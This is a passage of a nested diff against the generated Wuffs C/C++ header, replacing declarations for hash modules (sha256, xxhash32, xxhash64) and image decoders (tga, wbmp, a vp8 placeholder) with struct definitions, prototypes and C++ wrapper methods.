operator=( -- const wuffs_wbmp__decoder__struct&) = delete; -+ wuffs_sha256__hasher__struct() = delete; -+ wuffs_sha256__hasher__struct(const wuffs_sha256__hasher__struct&) = delete; -+ wuffs_sha256__hasher__struct& operator=( -+ const wuffs_sha256__hasher__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -12332,120 +13297,68 @@ struct wuffs_wbmp__decoder__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_wbmp__decoder__initialize( -+ return wuffs_sha256__hasher__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -- inline wuffs_base__image_decoder* -- upcast_as__wuffs_base__image_decoder() { -- return (wuffs_base__image_decoder*)this; -+ inline wuffs_base__hasher_bitvec256* -+ upcast_as__wuffs_base__hasher_bitvec256() { -+ return (wuffs_base__hasher_bitvec256*)this; - } - - inline uint64_t - get_quirk( - uint32_t a_key) const { -- return wuffs_wbmp__decoder__get_quirk(this, a_key); -+ return wuffs_sha256__hasher__get_quirk(this, a_key); - } - - inline wuffs_base__status - set_quirk( - uint32_t a_key, - uint64_t a_value) { -- return wuffs_wbmp__decoder__set_quirk(this, a_key, a_value); -- } -- -- inline wuffs_base__status -- decode_image_config( -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- return wuffs_wbmp__decoder__decode_image_config(this, a_dst, a_src); -- } -- -- inline wuffs_base__status -- decode_frame_config( -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- return wuffs_wbmp__decoder__decode_frame_config(this, a_dst, a_src); -- } -- -- inline wuffs_base__status -- decode_frame( -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- return wuffs_wbmp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -- } -- -- inline wuffs_base__rect_ie_u32 -- frame_dirty_rect() const { -- return wuffs_wbmp__decoder__frame_dirty_rect(this); -- } -- -- inline uint32_t -- num_animation_loops() const { -- return wuffs_wbmp__decoder__num_animation_loops(this); -- } -- -- inline uint64_t -- num_decoded_frame_configs() const { -- return wuffs_wbmp__decoder__num_decoded_frame_configs(this); -- } -- -- inline uint64_t -- num_decoded_frames() const { -- return wuffs_wbmp__decoder__num_decoded_frames(this); -- } -- -- inline wuffs_base__status -- restart_frame( -- uint64_t a_index, -- uint64_t a_io_position) { -- return wuffs_wbmp__decoder__restart_frame(this, a_index, a_io_position); -+ return wuffs_sha256__hasher__set_quirk(this, a_key, a_value); - } - - inline wuffs_base__empty_struct -- set_report_metadata( -- uint32_t a_fourcc, -- bool a_report) { -- return wuffs_wbmp__decoder__set_report_metadata(this, a_fourcc, a_report); -- } -- -- inline wuffs_base__status -- tell_me_more( -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- return wuffs_wbmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -+ update( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_sha256__hasher__update(this, a_x); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_wbmp__decoder__history_retain_length(this); -+ inline wuffs_base__bitvec256 -+ update_bitvec256( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_sha256__hasher__update_bitvec256(this, a_x); - } - -- inline wuffs_base__range_ii_u64 -- workbuf_len() const { -- return wuffs_wbmp__decoder__workbuf_len(this); -+ inline wuffs_base__bitvec256 -+ checksum_bitvec256() const { -+ return wuffs_sha256__hasher__checksum_bitvec256(this); - } - - #endif // __cplusplus --}; // struct wuffs_wbmp__decoder__struct -+}; // struct wuffs_sha256__hasher__struct - - #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - -+extern const char wuffs_tga__error__bad_header[]; -+extern const char wuffs_tga__error__bad_run_length_encoding[]; -+extern const char wuffs_tga__error__truncated_input[]; -+extern const char wuffs_tga__error__unsupported_tga_file[]; -+ - // ---------------- Public Consts - -+#define WUFFS_TGA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u -+ - // ---------------- Struct Declarations - --typedef struct wuffs_xxhash32__hasher__struct wuffs_xxhash32__hasher; -+typedef struct wuffs_tga__decoder__struct wuffs_tga__decoder; - - #ifdef __cplusplus - extern "C" { -@@ -12460,14 +13373,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_xxhash32__hasher__initialize( -- wuffs_xxhash32__hasher* self, -+wuffs_tga__decoder__initialize( -+ wuffs_tga__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_xxhash32__hasher(void); -+sizeof__wuffs_tga__decoder(void); - - // ---------------- Allocs - -@@ -12477,53 +13390,107 @@ sizeof__wuffs_xxhash32__hasher(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_xxhash32__hasher* --wuffs_xxhash32__hasher__alloc(void); -+wuffs_tga__decoder* -+wuffs_tga__decoder__alloc(void); - --static inline wuffs_base__hasher_u32* --wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32(void) { -- return (wuffs_base__hasher_u32*)(wuffs_xxhash32__hasher__alloc()); -+static inline wuffs_base__image_decoder* -+wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder(void) { -+ return (wuffs_base__image_decoder*)(wuffs_tga__decoder__alloc()); - } - - // ---------------- Upcasts - --static inline wuffs_base__hasher_u32* --wuffs_xxhash32__hasher__upcast_as__wuffs_base__hasher_u32( -- wuffs_xxhash32__hasher* p) { -- return (wuffs_base__hasher_u32*)p; -+static inline wuffs_base__image_decoder* -+wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( -+ wuffs_tga__decoder* p) { -+ return (wuffs_base__image_decoder*)p; - } - - // ---------------- Public Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash32__hasher__get_quirk( -- const wuffs_xxhash32__hasher* self, -+wuffs_tga__decoder__get_quirk( -+ const wuffs_tga__decoder* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_xxhash32__hasher__set_quirk( -- wuffs_xxhash32__hasher* self, -+wuffs_tga__decoder__set_quirk( -+ wuffs_tga__decoder* self, - uint32_t a_key, - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_xxhash32__hasher__update( -- wuffs_xxhash32__hasher* self, -- wuffs_base__slice_u8 a_x); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__decode_image_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_xxhash32__hasher__update_u32( -- wuffs_xxhash32__hasher* self, -- wuffs_base__slice_u8 a_x); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__decode_frame_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__decode_frame( -+ wuffs_tga__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_tga__decoder__frame_dirty_rect( -+ const wuffs_tga__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_xxhash32__hasher__checksum_u32( -- const wuffs_xxhash32__hasher* self); -+wuffs_tga__decoder__num_animation_loops( -+ const wuffs_tga__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_tga__decoder__num_decoded_frame_configs( -+ const wuffs_tga__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_tga__decoder__num_decoded_frames( -+ const wuffs_tga__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__restart_frame( -+ wuffs_tga__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_tga__decoder__set_report_metadata( -+ wuffs_tga__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__tell_me_more( -+ wuffs_tga__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_tga__decoder__workbuf_len( -+ const wuffs_tga__decoder* self); - - #ifdef __cplusplus - } // extern "C" -@@ -12538,7 +13505,7 @@ wuffs_xxhash32__hasher__checksum_u32( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_xxhash32__hasher__struct { -+struct wuffs_tga__decoder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -12549,36 +13516,72 @@ struct wuffs_xxhash32__hasher__struct { - struct { - uint32_t magic; - uint32_t active_coroutine; -- wuffs_base__vtable vtable_for__wuffs_base__hasher_u32; -+ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; - wuffs_base__vtable null_vtable; - -- uint32_t f_length_modulo_u32; -- bool f_length_overflows_u32; -- uint8_t f_padding0; -- uint8_t f_padding1; -- uint8_t f_buf_len; -- uint8_t f_buf_data[16]; -- uint32_t f_v0; -- uint32_t f_v1; -- uint32_t f_v2; -- uint32_t f_v3; -+ uint32_t f_width; -+ uint32_t f_height; -+ uint8_t f_call_sequence; -+ uint8_t f_header_id_length; -+ uint8_t f_header_color_map_type; -+ uint8_t f_header_image_type; -+ uint16_t f_header_color_map_first_entry_index; -+ uint16_t f_header_color_map_length; -+ uint8_t f_header_color_map_entry_size; -+ uint8_t f_header_pixel_depth; -+ uint8_t f_header_image_descriptor; -+ bool f_opaque; -+ uint32_t f_scratch_bytes_per_pixel; -+ uint32_t f_src_bytes_per_pixel; -+ uint32_t f_src_pixfmt; -+ uint64_t f_frame_config_io_position; -+ wuffs_base__pixel_swizzler f_swizzler; -+ -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; - } private_impl; - -+ struct { -+ uint8_t f_dst_palette[1024]; -+ uint8_t f_src_palette[1024]; -+ uint8_t f_scratch[4]; -+ -+ struct { -+ uint32_t v_i; -+ uint64_t scratch; -+ } s_do_decode_image_config; -+ struct { -+ uint64_t v_dst_bytes_per_pixel; -+ uint32_t v_dst_x; -+ uint32_t v_dst_y; -+ uint64_t v_mark; -+ uint32_t v_num_pixels32; -+ uint32_t v_lit_length; -+ uint32_t v_run_length; -+ uint64_t v_num_dst_bytes; -+ uint64_t scratch; -+ } s_do_decode_frame; -+ } private_data; -+ - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return unique_ptr(wuffs_xxhash32__hasher__alloc()); -+ return unique_ptr(wuffs_tga__decoder__alloc()); - } - -- static inline wuffs_base__hasher_u32::unique_ptr -- alloc_as__wuffs_base__hasher_u32() { -- return wuffs_base__hasher_u32::unique_ptr( -- wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32()); -+ static inline wuffs_base__image_decoder::unique_ptr -+ alloc_as__wuffs_base__image_decoder() { -+ return wuffs_base__image_decoder::unique_ptr( -+ wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -12594,10 +13597,10 @@ struct wuffs_xxhash32__hasher__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_xxhash32__hasher__struct() = delete; -- wuffs_xxhash32__hasher__struct(const wuffs_xxhash32__hasher__struct&) = delete; -- wuffs_xxhash32__hasher__struct& operator=( -- const wuffs_xxhash32__hasher__struct&) = delete; -+ wuffs_tga__decoder__struct() = delete; -+ wuffs_tga__decoder__struct(const wuffs_tga__decoder__struct&) = delete; -+ wuffs_tga__decoder__struct& operator=( -+ const wuffs_tga__decoder__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -12617,53 +13620,107 @@ struct wuffs_xxhash32__hasher__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_xxhash32__hasher__initialize( -+ return wuffs_tga__decoder__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -- inline wuffs_base__hasher_u32* -- upcast_as__wuffs_base__hasher_u32() { -- return (wuffs_base__hasher_u32*)this; -+ inline wuffs_base__image_decoder* -+ upcast_as__wuffs_base__image_decoder() { -+ return (wuffs_base__image_decoder*)this; - } - - inline uint64_t - get_quirk( - uint32_t a_key) const { -- return wuffs_xxhash32__hasher__get_quirk(this, a_key); -+ return wuffs_tga__decoder__get_quirk(this, a_key); - } - - inline wuffs_base__status - set_quirk( - uint32_t a_key, - uint64_t a_value) { -- return wuffs_xxhash32__hasher__set_quirk(this, a_key, a_value); -+ return wuffs_tga__decoder__set_quirk(this, a_key, a_value); - } - -- inline wuffs_base__empty_struct -- update( -- wuffs_base__slice_u8 a_x) { -- return wuffs_xxhash32__hasher__update(this, a_x); -+ inline wuffs_base__status -+ decode_image_config( -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_tga__decoder__decode_image_config(this, a_dst, a_src); - } - -- inline uint32_t -- update_u32( -- wuffs_base__slice_u8 a_x) { -- return wuffs_xxhash32__hasher__update_u32(this, a_x); -+ inline wuffs_base__status -+ decode_frame_config( -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_tga__decoder__decode_frame_config(this, a_dst, a_src); -+ } -+ -+ inline wuffs_base__status -+ decode_frame( -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ return wuffs_tga__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ } -+ -+ inline wuffs_base__rect_ie_u32 -+ frame_dirty_rect() const { -+ return wuffs_tga__decoder__frame_dirty_rect(this); - } - - inline uint32_t -- checksum_u32() const { -- return wuffs_xxhash32__hasher__checksum_u32(this); -+ num_animation_loops() const { -+ return wuffs_tga__decoder__num_animation_loops(this); -+ } -+ -+ inline uint64_t -+ num_decoded_frame_configs() const { -+ return wuffs_tga__decoder__num_decoded_frame_configs(this); -+ } -+ -+ inline uint64_t -+ num_decoded_frames() const { -+ return wuffs_tga__decoder__num_decoded_frames(this); -+ } -+ -+ inline wuffs_base__status -+ restart_frame( -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ return wuffs_tga__decoder__restart_frame(this, a_index, a_io_position); -+ } -+ -+ inline wuffs_base__empty_struct -+ set_report_metadata( -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_tga__decoder__set_report_metadata(this, a_fourcc, a_report); -+ } -+ -+ inline wuffs_base__status -+ tell_me_more( -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_tga__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -+ } -+ -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_tga__decoder__workbuf_len(this); - } - - #endif // __cplusplus --}; // struct wuffs_xxhash32__hasher__struct -+}; // struct wuffs_tga__decoder__struct - - #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - -@@ -12671,7 +13728,7 @@ struct wuffs_xxhash32__hasher__struct { - - // ---------------- Struct Declarations - --typedef struct wuffs_xxhash64__hasher__struct wuffs_xxhash64__hasher; -+typedef struct wuffs_vp8__placeholder__struct wuffs_vp8__placeholder; - - #ifdef __cplusplus - extern "C" { -@@ -12686,14 +13743,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_xxhash64__hasher__initialize( -- wuffs_xxhash64__hasher* self, -+wuffs_vp8__placeholder__initialize( -+ wuffs_vp8__placeholder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_xxhash64__hasher(void); -+sizeof__wuffs_vp8__placeholder(void); - - // ---------------- Allocs - -@@ -12703,54 +13760,13 @@ sizeof__wuffs_xxhash64__hasher(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_xxhash64__hasher* --wuffs_xxhash64__hasher__alloc(void); -- --static inline wuffs_base__hasher_u64* --wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64(void) { -- return (wuffs_base__hasher_u64*)(wuffs_xxhash64__hasher__alloc()); --} -+wuffs_vp8__placeholder* -+wuffs_vp8__placeholder__alloc(void); - - // ---------------- Upcasts - --static inline wuffs_base__hasher_u64* --wuffs_xxhash64__hasher__upcast_as__wuffs_base__hasher_u64( -- wuffs_xxhash64__hasher* p) { -- return (wuffs_base__hasher_u64*)p; --} -- - // ---------------- Public Function Prototypes - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash64__hasher__get_quirk( -- const wuffs_xxhash64__hasher* self, -- uint32_t a_key); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_xxhash64__hasher__set_quirk( -- wuffs_xxhash64__hasher* self, -- uint32_t a_key, -- uint64_t a_value); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_xxhash64__hasher__update( -- wuffs_xxhash64__hasher* self, -- wuffs_base__slice_u8 a_x); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash64__hasher__update_u64( -- wuffs_xxhash64__hasher* self, -- wuffs_base__slice_u8 a_x); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash64__hasher__checksum_u64( -- const wuffs_xxhash64__hasher* self); -- - #ifdef __cplusplus - } // extern "C" - #endif -@@ -12764,7 +13780,7 @@ wuffs_xxhash64__hasher__checksum_u64( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_xxhash64__hasher__struct { -+struct wuffs_vp8__placeholder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -12775,37 +13791,20 @@ struct wuffs_xxhash64__hasher__struct { - struct { - uint32_t magic; - uint32_t active_coroutine; -- wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; - wuffs_base__vtable null_vtable; - -- uint64_t f_length_modulo_u64; -- bool f_length_overflows_u64; -- uint8_t f_padding0; -- uint8_t f_padding1; -- uint8_t f_padding2; -- uint32_t f_buf_len; -- uint8_t f_buf_data[32]; -- uint64_t f_v0; -- uint64_t f_v1; -- uint64_t f_v2; -- uint64_t f_v3; -+ uint32_t f_placeholder; - } private_impl; - - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return unique_ptr(wuffs_xxhash64__hasher__alloc()); -- } -- -- static inline wuffs_base__hasher_u64::unique_ptr -- alloc_as__wuffs_base__hasher_u64() { -- return wuffs_base__hasher_u64::unique_ptr( -- wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64()); -+ return unique_ptr(wuffs_vp8__placeholder__alloc()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -12821,10 +13820,10 @@ struct wuffs_xxhash64__hasher__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_xxhash64__hasher__struct() = delete; -- wuffs_xxhash64__hasher__struct(const wuffs_xxhash64__hasher__struct&) = delete; -- wuffs_xxhash64__hasher__struct& operator=( -- const wuffs_xxhash64__hasher__struct&) = delete; -+ wuffs_vp8__placeholder__struct() = delete; -+ wuffs_vp8__placeholder__struct(const wuffs_vp8__placeholder__struct&) = delete; -+ wuffs_vp8__placeholder__struct& operator=( -+ const wuffs_vp8__placeholder__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -12844,9372 +13843,9377 @@ struct wuffs_xxhash64__hasher__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_xxhash64__hasher__initialize( -+ return wuffs_vp8__placeholder__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -- inline wuffs_base__hasher_u64* -- upcast_as__wuffs_base__hasher_u64() { -- return (wuffs_base__hasher_u64*)this; -- } -+#endif // __cplusplus -+}; // struct wuffs_vp8__placeholder__struct - -- inline uint64_t -- get_quirk( -- uint32_t a_key) const { -- return wuffs_xxhash64__hasher__get_quirk(this, a_key); -- } -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- inline wuffs_base__status -- set_quirk( -- uint32_t a_key, -- uint64_t a_value) { -- return wuffs_xxhash64__hasher__set_quirk(this, a_key, a_value); -- } -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) || defined(WUFFS_NONMONOLITHIC) - -- inline wuffs_base__empty_struct -- update( -- wuffs_base__slice_u8 a_x) { -- return wuffs_xxhash64__hasher__update(this, a_x); -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) - -- inline uint64_t -- update_u64( -- wuffs_base__slice_u8 a_x) { -- return wuffs_xxhash64__hasher__update_u64(this, a_x); -- } -+// ---------------- Status Codes - -- inline uint64_t -- checksum_u64() const { -- return wuffs_xxhash64__hasher__checksum_u64(this); -- } -+extern const char wuffs_wbmp__error__bad_header[]; -+extern const char wuffs_wbmp__error__truncated_input[]; - --#endif // __cplusplus --}; // struct wuffs_xxhash64__hasher__struct -+// ---------------- Public Consts - --#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+#define WUFFS_WBMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) -+// ---------------- Struct Declarations - --#if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+typedef struct wuffs_wbmp__decoder__struct wuffs_wbmp__decoder; - --// ---------------- Auxiliary - Base -+#ifdef __cplusplus -+extern "C" { -+#endif - --// Auxiliary code is discussed at --// https://github.com/google/wuffs/blob/main/doc/note/auxiliary-code.md -+// ---------------- Public Initializer Prototypes - --#include -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - --#include -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_wbmp__decoder__initialize( -+ wuffs_wbmp__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); - --namespace wuffs_aux { -+size_t -+sizeof__wuffs_wbmp__decoder(void); - --using IOBuffer = wuffs_base__io_buffer; -+// ---------------- Allocs - --// MemOwner represents ownership of some memory. Dynamically allocated memory --// (e.g. from malloc or new) is typically paired with free or delete, invoked --// when the std::unique_ptr is destroyed. Statically allocated memory might use --// MemOwner(nullptr, &free), even if that statically allocated memory is not --// nullptr, since calling free(nullptr) is a no-op. --using MemOwner = std::unique_ptr; -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. - --namespace sync_io { -+wuffs_wbmp__decoder* -+wuffs_wbmp__decoder__alloc(void); - --// -------- -+static inline wuffs_base__image_decoder* -+wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder(void) { -+ return (wuffs_base__image_decoder*)(wuffs_wbmp__decoder__alloc()); -+} - --// DynIOBuffer is an IOBuffer that is backed by a dynamically sized byte array. --// It owns that backing array and will free it in its destructor. --// --// The array size can be explicitly extended (by calling the grow method) but, --// unlike a C++ std::vector, there is no implicit extension (e.g. by calling --// std::vector::insert) and its maximum size is capped by the max_incl --// constructor argument. --// --// It contains an IOBuffer-typed field whose reader side provides access to --// previously written bytes and whose writer side provides access to the --// allocated but not-yet-written-to slack space. For Go programmers, this slack --// space is roughly analogous to the s[len(s):cap(s)] space of a slice s. --class DynIOBuffer { -- public: -- enum GrowResult { -- OK = 0, -- FailedMaxInclExceeded = 1, -- FailedOutOfMemory = 2, -- }; -+// ---------------- Upcasts - -- // m_buf holds the dynamically sized byte array and its read/write indexes: -- // - m_buf.meta.wi is roughly analogous to a Go slice's length. -- // - m_buf.data.len is roughly analogous to a Go slice's capacity. It is -- // also equal to the m_buf.data.ptr malloc/realloc size. -- // -- // Users should not modify the m_buf.data.ptr or m_buf.data.len fields (as -- // they are conceptually private to this class), but they can modify the -- // bytes referenced by that pointer-length pair (e.g. compactions). -- IOBuffer m_buf; -+static inline wuffs_base__image_decoder* -+wuffs_wbmp__decoder__upcast_as__wuffs_base__image_decoder( -+ wuffs_wbmp__decoder* p) { -+ return (wuffs_base__image_decoder*)p; -+} - -- // m_max_incl is an inclusive upper bound on the backing array size. -- const uint64_t m_max_incl; -+// ---------------- Public Function Prototypes - -- // Constructor and destructor. -- explicit DynIOBuffer(uint64_t max_incl); -- ~DynIOBuffer(); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_wbmp__decoder__get_quirk( -+ const wuffs_wbmp__decoder* self, -+ uint32_t a_key); - -- // Drop frees the byte array and resets m_buf. The DynIOBuffer can still be -- // used after a drop call. It just restarts from zero. -- void drop(); -+WUFFS_BASE__GENERATED_C_CODE 